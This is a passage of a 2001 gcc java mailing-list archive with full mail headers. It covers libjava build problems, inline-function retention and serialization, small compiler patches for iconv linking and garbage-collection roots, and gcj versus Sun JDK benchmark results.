<3B5E58B8.7F5EB7E8@waitaki.otago.ac.nz> X-Zippy: Just imagine you're entering a state-of-the-art CAR WASH!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 25 Jul 2001 10:29:01 -0600 In-Reply-To: Bryce McKinlay's message of "Wed, 25 Jul 2001 17:27:20 +1200" Message-ID: <877kwx3rci.fsf@creche.redhat.com> Lines: 11 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Bryce" == Bryce McKinlay writes: Bryce> I noticed that the libjava makefile (mainline) seems to have Bryce> reverted to its old behavior of not stopping when a compiler Bryce> error is encountered during the source->.class phase :(. Anyone Bryce> else see this problem? Yeah, but I didn't investigate. The `libgcj.jar' rule looks ok to me (casually speaking). Tom From java-return-6598-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 16:08:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18753 invoked by alias); 25 Jul 2001 16:08:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 18686 invoked from network); 25 Jul 2001 16:08:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 25 Jul 2001 16:08:21 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA32069; Wed, 25 Jul 2001 10:07:59 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA01971; Wed, 25 Jul 2001 10:34:34 -0600 To: Jeff Sturm Cc: Manfred Hollstein , gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: [java, 3.0.1]: BUG: Unresolved symbols with -O3 and higher References: X-Zippy: I guess you guys got BIG MUSCLES from doing too much STUDYING! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 25 Jul 2001 10:34:32 -0600 In-Reply-To: Jeff Sturm's message of "Tue, 24 Jul 2001 13:27:55 -0400 (EDT)" Message-ID: <874rs13r3b.fsf@creche.redhat.com> Lines: 26 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> I'll argue this should be the default for gcj, due to Jeff> reflection. This seems reasonable to me. I think we should default to compatibility, even if it means we emit code for extra functions. Then we can provide options to let the user choose when to reduce this. For instance, -fno-keep-inline-functions. This has come up before: http://gcc.gnu.org/ml/java/1999-q4/msg00364.html Jeff> In fact the behavior of the program below changes when compiled Jeff> with/without -fkeep-inline-functions: This example is important, because I think it shows that if we keep the current behavior then we can break serialization, which relies on private functions and reflection. Tom From java-return-6599-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 16:09:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19616 invoked by alias); 25 Jul 2001 16:09:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19543 invoked from network); 25 Jul 2001 16:09:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 25 Jul 2001 16:09:31 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA32403; Wed, 25 Jul 2001 10:09:28 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA01982; Wed, 25 Jul 2001 10:36:02 -0600 To: Mark Wielaard Cc: java-patches@gcc.gnu.org, java@gcc.gnu.org Subject: Re: Adding 'Adding new classes' to HACKING References: <20010722121925.B8075@klomp.org> <874rs5q67g.fsf@creche.redhat.com> <20010723011420.A23526@klomp.org> X-Zippy: I just had a NOSE JOB!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 25 Jul 2001 10:36:02 -0600 In-Reply-To: Mark Wielaard's message of "Mon, 23 Jul 2001 01:14:21 +0200" Message-ID: <871yn53r0t.fsf@creche.redhat.com> Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Mark" == Mark Wielaard writes: Mark> 2001-07-23 Mark Wielaard Mark> * HACKING: add description on updating namespace Please check this in. Mark> I also noticed that this file only exists on the main branch, Mark> may I also add it to the gcc-3_0-branch? Sure. Mark> Is there a reason to do it this way for the java.lang, java.io Mark> and java.util (sub)packages, but not for the other packages? We chose these packages on the theory that they were the most common ones, and most likely to be used in CNI code. It was an arbitrary sort of decision. We can always extend it. However, libgcj and gcjh collude in this matter. So if we change one we must change the other. Tom From java-return-6600-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 16:26:58 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28668 invoked by alias); 25 Jul 2001 16:26:58 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28632 invoked from network); 25 Jul 2001 16:26:57 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 25 Jul 2001 16:26:57 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA27929; Wed, 25 Jul 2001 09:26:49 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id JAA01684; Wed, 25 Jul 2001 09:26:49 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15198.62281.833692.924739@fencer.cygnus.com> Date: Wed, 25 Jul 2001 09:26:49 -0700 (PDT) To: tromey@redhat.com Cc: Jeff Sturm , Manfred Hollstein , gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: [java, 3.0.1]: BUG: Unresolved symbols with -O3 and higher In-Reply-To: <874rs13r3b.fsf@creche.redhat.com> References: <874rs13r3b.fsf@creche.redhat.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Life is a POPULARITY CONTEST! I'm REFRESHINGLY CANDID!! Tom Tromey writes: > This example is important, because I think it shows that if we keep > the current behavior then we can break serialization, which relies > on private functions and reflection. And the implementation of the current behavior can be stressed in such a way that it appears broken: I had to disable the selection of inlined to be retained yesterday and let everything in, I didn't find it to change the size of libgcj that much. ./A From java-return-6601-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 17:05:19 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22025 invoked by alias); 25 Jul 2001 17:05:19 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21997 invoked from network); 25 Jul 2001 17:05:18 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 25 Jul 2001 17:05:18 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15PS5z-0004Ja-00 for ; Wed, 25 Jul 2001 18:05:15 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Wed, 25 Jul 2001 18:07:42 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 25 Jul 2001 18:04:17 +0100 From: "Nic Ferrier" To: tromey@redhat.com Cc: java@gcc.gnu.org Subject: Re: Frustrated (with builds) of Tunbridge Wells Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Tom Tromey 25-Jul-01 5:24:49 PM >>> How does it fail? I wasn't aware that it didn't work on the trunk. It's rather odd. Everything seems to build and install ok but the built gij doesn't actually do anything, it just sits there... mute. It doesn't seem to load classes, it certainly doesn't execute them. It's a real pain because I'm trying to fix the URLCL stuff. Nic From java-return-6602-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 17:17:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25695 invoked by alias); 25 Jul 2001 17:17:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25659 invoked from network); 25 Jul 2001 17:17:22 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 25 Jul 2001 17:17:22 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6PHHH023073 for ; Wed, 25 Jul 2001 12:17:17 -0500 (EST) Date: Wed, 25 Jul 2001 12:17:16 -0500 (EST) From: Antonio Ake To: Subject: Problem --with-gc=simple. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, I tried this configure in two platafforms beacuse I need to avoid to use mmap in my java binaries so I add the --with-gc=simple in my configure command: ../gcc-20010702/configure --with-gcc-version-trigger=/usr/music/ake/g/gcc-20010702/gcc/version.c --host=alphaev56-dec-osf5.0 --prefix=/usr/users/ake/gcc18/ --without-x --disable-jni --disable-net --enable-libgcj --with-gc=simple --norecursion I tested on 2 machines: ALpha OSF1 and LINUX X86. My snapshot is from July 2. the error message when libgcj is building: error message on both: /usr/music/ake/g/build/gcc/gcj -B/usr/music/ake/g/build/alphaev56-dec-osf5.0/lib java/ -B/usr/music/ake/g/build/gcc/ --encoding=UTF-8 -C -L/usr/music/ake/g/build /alphaev56-dec-osf5.0/libjava -g -classpath /usr/music/ake/g/build/alphaev56-dec -osf5.0/libjava:/usr/music/ake/g/gcc-20010702/libjava -d /usr/music/ake/g/build/ alphaev56-dec-osf5.0/libjava java/lang/ConcreteProcess.java java/lang/ConcreteProcess.java:0: Internal error: Segmentation fault Is there any other way to disable to use mmap? Do you know who is using mmap, with gdb I got this: mmap<-__assert (?) mmap<-_OtsNotify_Ovf_I (?) Thanks From java-return-6603-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 21:38:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13164 invoked by alias); 25 Jul 2001 21:38:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13129 invoked from network); 25 Jul 2001 21:38:22 -0000 Received: from unknown (HELO igw3.watson.ibm.com) (198.81.209.18) by sourceware.cygnus.com with SMTP; 25 Jul 2001 21:38:22 -0000 Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f6PLcG708204; Wed, 25 Jul 2001 17:38:16 -0400 Received: from makai.watson.ibm.com (makai.watson.ibm.com [9.2.216.144]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id RAA22824; Wed, 25 Jul 2001 17:38:16 -0400 Received: from watson.ibm.com (localhost [127.0.0.1]) by makai.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) with ESMTP id RAA25906; Wed, 25 Jul 2001 17:38:15 -0400 Message-Id: <200107252138.RAA25906@makai.watson.ibm.com> To: Tom Tromey cc: java@gcc.gnu.org Subject: GCC 3.0 branch Java iconv linking problems Date: Wed, 25 Jul 2001 17:38:15 -0400 From: David Edelsohn With the recent change to iconv configuration, jc1 no longer links on AIX because of errors with iconv symbols. AIX does have iconv and configure finds it: config.cache: am_cv_func_iconv=${am_cv_func_iconv=yes} am_cv_lib_iconv=${am_cv_lib_iconv=yes} config.status: s%@LIBICONV@%-liconv%g But LIBICONV never is defined in gcc/Makefile generated by configure. ZLIB is defined earlier in the Makefile because Makefile.in includes ZLIB = @zlibdir@ -lz ZLIBINC = @zlibinc@ None of the Makefiles include anything similar for @LIBICONV@. Where was this suppose to be defined? Thanks, David From java-return-6604-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 21:58:09 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23812 invoked by alias); 25 Jul 2001 21:58:08 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23744 invoked from network); 25 Jul 2001 21:58:06 -0000 Received: from unknown (HELO igw3.watson.ibm.com) (198.81.209.18) by sourceware.cygnus.com with SMTP; 25 Jul 2001 21:58:06 -0000 Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f6PLvw711468; Wed, 25 Jul 2001 17:57:58 -0400 Received: from makai.watson.ibm.com (makai.watson.ibm.com [9.2.216.144]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id RAA14736; Wed, 25 Jul 2001 17:57:58 -0400 Received: from watson.ibm.com (localhost [127.0.0.1]) by makai.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) with ESMTP id RAA26084; Wed, 25 Jul 2001 17:57:58 -0400 Message-Id: <200107252157.RAA26084@makai.watson.ibm.com> To: Tom Tromey cc: java@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: GCC 3.0 branch Java iconv linking problems Date: Wed, 25 Jul 2001 17:57:58 -0400 From: David Edelsohn I think the following definition of LIBICONV in Makefile.in is necessary for the recent iconv change to be correct. David * Makefile.in (LIBICONV): Define. Index: Makefile.in =================================================================== RCS file: /cvs/gcc/egcs/gcc/Makefile.in,v retrieving revision 1.702 diff -c -p -r1.702 Makefile.in *** Makefile.in 2001/07/22 21:33:57 1.702 --- Makefile.in 2001/07/25 21:55:41 *************** USE_NLS = @USE_NLS@ *** 335,340 **** --- 335,343 ---- # Internationalization library. INTLLIBS = @INTLLIBS@ + # Character encoding conversion library. + LIBICONV = @LIBICONV@ + # List of internationalization subdirectories. POSUB = @POSUB@ INTL_SUBDIRS = intl $(POSUB) From java-return-6605-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 22:38:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6568 invoked by alias); 25 Jul 2001 22:38:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6519 invoked from network); 25 Jul 2001 22:38:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 25 Jul 2001 22:38:10 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA01054; Wed, 25 Jul 2001 16:38:07 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id RAA17290; Wed, 25 Jul 2001 17:04:45 -0600 To: Antonio Ake Cc: Subject: Re: Problem --with-gc=simple. References: X-Zippy: As a FAD follower, my BEVERAGE choices are rich and fulfilling! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 25 Jul 2001 17:04:45 -0600 In-Reply-To: Antonio Ake's message of "Wed, 25 Jul 2001 12:17:16 -0500 (EST)" Message-ID: <87ae1shape.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Antonio" == Antonio Ake writes: Antonio> I tried this configure in two platafforms beacuse I need to Antonio> avoid to use mmap in my java binaries so I add the Antonio> --with-gc=simple in my configure command: If you get this failure with --with-gc=simple and not any other way then it might be a generic bug in gcc. Note that this option changes gcc so *it* doesn't use mmap. It has no effect (in theory) on the resulting executables you compile. Tom From java-return-6606-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 23:02:19 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16663 invoked by alias); 25 Jul 2001 23:02:18 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16643 invoked from network); 25 Jul 2001 23:02:17 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 25 Jul 2001 23:02:17 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id TAA27367; Wed, 25 Jul 2001 19:11:45 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Wed, 25 Jul 2001 19:11:45 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Antonio Ake cc: java@gcc.gnu.org Subject: Re: Problem --with-gc=simple. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 25 Jul 2001, Antonio Ake wrote: > java/lang/ConcreteProcess.java:0: Internal error: Segmentation fault Thanks for the report. It looks as though you discovered a latent bug in the frontend. The definition of BUILD_FILENAME_IDENTIFIER_NODE in java-tree.h cannot be right, since ggc_mark_tree must only be called when a ggc_collect is in progress. This is what I think was intended: Index: java-tree.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/java-tree.h,v retrieving revision 1.97.2.14 diff -u -r1.97.2.14 java-tree.h --- java-tree.h 2001/05/13 07:10:22 1.97.2.14 +++ java-tree.h 2001/07/25 22:51:46 @@ -1458,7 +1458,7 @@ if (!((F) = maybe_get_identifier ((S)))) \ { \ (F) = get_identifier ((S)); \ - ggc_mark_tree ((F)); \ + ggc_add_tree_root ((F), 1); \ } /* Add a FIELD_DECL to RECORD_TYPE RTYPE. > Is there any other way to disable to use mmap? Do you know who is using > mmap, with gdb I got this: > mmap<-__assert (?) > mmap<-_OtsNotify_Ovf_I (?) Why can't you use mmap? Jeff From java-return-6607-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 23:55:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13148 invoked by alias); 25 Jul 2001 23:55:51 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13077 invoked from network); 25 Jul 2001 23:55:44 -0000 Received: from unknown (HELO sj-msg-core-2.cisco.com) (171.69.24.11) by sourceware.cygnus.com with SMTP; 25 Jul 2001 23:55:44 -0000 Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f6PNtuT13606 for ; Wed, 25 Jul 2001 16:55:56 -0700 (PDT) Received: from nguyenv.cisco.com (dhcp-171-69-69-34.cisco.com [171.69.69.34]) by mira-sjcm-3.cisco.com (Mirapoint) with ESMTP id ADJ00823; Wed, 25 Jul 2001 16:55:40 -0700 (PDT) Message-Id: <4.3.1.2.20010725164253.00b75830@mira-sjcm-3.cisco.com> X-Sender: nguyenv@mira-sjcm-3.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Wed, 25 Jul 2001 16:58:10 -0700 To: java@gcc.gnu.org From: Van Nguyen Subject: gcj performance on Solaris 2.6 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Hello, I followed the installation instructions for gcj 3.0. Then run a few Java benchmarks on gcj, and compared them to the results I got from using Sun JDK 1.3. gcj is considerably slower than JDK 1.3. For example, running Sieve on java 1.3 on Sieve, I got around 18600 iterations per 10 seconds. gcj gave me 3200 iterations. I used the Sieve program from ftp://gonzalez.cyberus.ca/pub/Linux/java/, and UCSD benchmark from http://www-cse.ucsd.edu/users/wgg/JavaProf/Code/ . Did anyone get better results from gcj on Solaris? Is there any build/compile options that I should use to speed it up? Is gcj geared towards Linux because I saw a lot of great results from Linux? Thanks, Van From java-return-6608-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 00:26:17 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26677 invoked by alias); 26 Jul 2001 00:26:17 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26631 invoked from network); 26 Jul 2001 00:26:15 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 26 Jul 2001 00:26:15 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id UAA29337; Wed, 25 Jul 2001 20:35:53 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Wed, 25 Jul 2001 20:35:53 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Van Nguyen cc: java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <4.3.1.2.20010725164253.00b75830@mira-sjcm-3.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 25 Jul 2001, Van Nguyen wrote: > I followed the installation instructions for gcj 3.0. Then run a few Java > benchmarks on gcj, and compared them to the results I got from using Sun > JDK 1.3. gcj is considerably slower than JDK 1.3. For example, running > Sieve on java 1.3 on Sieve, I got around 18600 iterations per 10 seconds. > gcj gave me 3200 iterations. I don't see that, with the Sieve.java I have: $ gcj -O3 -funroll-loops Sieve.java --main=Sieve -o sieve $ ./sieve Running Sieve benchmark. This will take about 10 seconds. 25063 iterations in 10.0 seconds Sieve score = 2506 $ javac Sieve.java $ java Sieve Running Sieve benchmark. This will take about 10 seconds. 13627 iterations in 10.0 seconds Sieve score = 1363 However I am comparing to JDK 1.2.2 on Solaris 7. What optimizer flags did you try? > I used the Sieve program from ftp://gonzalez.cyberus.ca/pub/Linux/java/, This host is unreachable for me. You get get the one I use at: http://www.one-point.com/~jsturm/Sieve.java Jeff From java-return-6609-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 00:31:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28485 invoked by alias); 26 Jul 2001 00:31:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28465 invoked from network); 26 Jul 2001 00:31:33 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 26 Jul 2001 00:31:33 -0000 X-csi-detect-spam: Ending Number Received: from [63.206.193.57] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 793012; Wed, 25 Jul 2001 17:35:09 -0700 Message-ID: <3B5F6695.8000400@wireless-networks.com> Date: Wed, 25 Jul 2001 17:38:45 -0700 From: Cedric Berger User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010628 X-Accept-Language: en-us MIME-Version: 1.0 To: Jeff Sturm CC: Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit > > >$ javac Sieve.java >$ java Sieve >Running Sieve benchmark. >This will take about 10 seconds. >13627 iterations in 10.0 seconds >Sieve score = 1363 > >However I am comparing to JDK 1.2.2 on Solaris 7. What optimizer flags >did you try? > Are you running hotspot (the default in 1.3)? Cedric From java-return-6610-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 02:24:23 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28336 invoked by alias); 26 Jul 2001 02:24:22 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28311 invoked from network); 26 Jul 2001 02:24:21 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 26 Jul 2001 02:24:21 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id WAA29463; Wed, 25 Jul 2001 22:34:14 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Wed, 25 Jul 2001 22:34:14 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Cedric Berger cc: Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <3B5F6695.8000400@wireless-networks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 25 Jul 2001, Cedric Berger wrote: > Are you running hotspot (the default in 1.3)? I don't think so. 1.2.2 is what was known as the "Solaris Production VM". It has a JIT and generational GC, however it is unrelated to Hotspot AFAIK. Jeff From java-return-6611-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 04:58:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14057 invoked by alias); 26 Jul 2001 04:58:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13902 invoked from network); 26 Jul 2001 04:58:43 -0000 Received: from unknown (HELO sj-msg-core-4.cisco.com) (171.71.163.10) by sourceware.cygnus.com with SMTP; 26 Jul 2001 04:58:43 -0000 Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f6Q4wq305823; Wed, 25 Jul 2001 21:58:52 -0700 (PDT) Received: from hotmail.com (nguyenv-dsl3.cisco.com [10.21.184.52]) by mira-sjcm-3.cisco.com (Mirapoint) with ESMTP id ADJ05130 (AUTH nguyenv); Wed, 25 Jul 2001 21:58:42 -0700 (PDT) Message-ID: <3B5FA358.66DD981E@hotmail.com> Date: Wed, 25 Jul 2001 21:58:00 -0700 From: Van Nguyen X-Mailer: Mozilla 4.73 [en]C-{C-UDP; EBM-SONY1} (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Sturm CC: Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Jeff, My problem was I didn't realize I can use the same optimization options on gcj. So it was run without any optimizations. I tried the optimizers you used, and got 25400 iterations out of Sieve. And it beats Java Hotspot. Thanks for the reply. Van Jeff Sturm wrote: > On Wed, 25 Jul 2001, Van Nguyen wrote: > > I followed the installation instructions for gcj 3.0. Then run a few Java > > benchmarks on gcj, and compared them to the results I got from using Sun > > JDK 1.3. gcj is considerably slower than JDK 1.3. For example, running > > Sieve on java 1.3 on Sieve, I got around 18600 iterations per 10 seconds. > > gcj gave me 3200 iterations. > > I don't see that, with the Sieve.java I have: > > $ gcj -O3 -funroll-loops Sieve.java --main=Sieve -o sieve > $ ./sieve > Running Sieve benchmark. > This will take about 10 seconds. > 25063 iterations in 10.0 seconds > Sieve score = 2506 > > $ javac Sieve.java > $ java Sieve > Running Sieve benchmark. > This will take about 10 seconds. > 13627 iterations in 10.0 seconds > Sieve score = 1363 > > However I am comparing to JDK 1.2.2 on Solaris 7. What optimizer flags > did you try? > > > I used the Sieve program from ftp://gonzalez.cyberus.ca/pub/Linux/java/, > > This host is unreachable for me. You get get the one I use at: > > http://www.one-point.com/~jsturm/Sieve.java > > Jeff From java-return-6612-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 26 06:32:45 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5426 invoked by alias); 26 Jul 2001 06:32:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5405 invoked from network); 26 Jul 2001 06:32:43 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 26 Jul 2001 06:32:43 -0000 X-csi-detect-spam: Ending Number Received: from [63.206.193.57] (account cberger@wireless-networks.com HELO 